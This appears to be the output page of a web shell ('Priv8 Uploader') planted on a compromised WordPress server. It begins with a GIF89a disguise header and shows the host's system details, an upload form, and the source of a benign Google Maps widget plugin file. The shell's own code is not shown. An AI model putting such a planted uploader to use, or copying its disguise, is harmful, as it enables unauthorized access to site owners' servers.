GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/public_html/wp-content/plugins/google-maps/includes/class-hugeit-maps-widget.php
<?php

/**
 * Class Hugeit_Maps_Widget
 */
class Hugeit_Maps_Widget extends WP_Widget  {
    /**
     * Hugeit_Maps_Widget constructor.
     */
    public function __construct() {
        parent::__construct(
            'Hugeit_Maps_Widget',
            __( 'Huge IT Google Maps', 'hugeit_maps' ),
            array( 'description' => __( 'Huge IT Google Maps', 'hugeit_maps' ), )
        );
    }

    /**
     * @param array $args
     * @param array $instance
     */
    public function widget( $args, $instance ) {
        extract( $args );

        if ( isset( $instance['g_map_id'] ) ) {
            $g_map_id = $instance['g_map_id'];

            $title = apply_filters( 'widget_title', $instance['title'] );

            echo $before_widget;
            if ( ! empty( $title ) ) {
                echo $before_title . $title . $after_title;
            }

            echo do_shortcode( "[huge_it_maps id='{$g_map_id}']" );
            echo $after_widget;
        }
    }

    /**
     * @param array $new_instance
     * @param array $old_instance
     * @return array
     */
    public function update( $new_instance, $old_instance ) {
        $instance             = array();
        $instance['g_map_id'] = strip_tags( $new_instance['g_map_id'] );
        $instance['title']    = strip_tags( $new_instance['title'] );

        return $instance;
    }

    /**
     * @param array $instance
     */
    public function form( $instance ) {
        $map_instance = ( isset( $instance['g_map_id'] ) ? $instance['g_map_id'] : 0 );
        $title        = ( isset( $instance['title'] ) ? $instance['title'] : '' );

        ?>
        <p>

            <p>
                <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
                <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>"
                       name="<?php echo $this->get_field_name( 'title' ); ?>" type="text"
                       value="<?php echo esc_attr( $title ); ?>"/>
            </p>
            <label for="<?php echo $this->get_field_id( 'g_map_id' ); ?>"><?php _e( 'Select map:', 'hugeit_maps' ); ?></label>
            <select id="<?php echo $this->get_field_id( 'g_map_id' ); ?>" name="<?php echo $this->get_field_name( 'g_map_id' ); ?>">
                <?php
                $maps = Hugeit_Maps_Query::get_maps();

                if( $maps ){
                    foreach( $maps as $map ){
                        ?>
                        <option <?php echo selected( $map_instance, $map->get_id() ); ?> value="<?php echo $map->get_id(); ?>"><?php echo $map->get_name(); ?></option>
                        <?php
                    }
                }


                ?>
            </select>

        </p>
        <?php
    }
}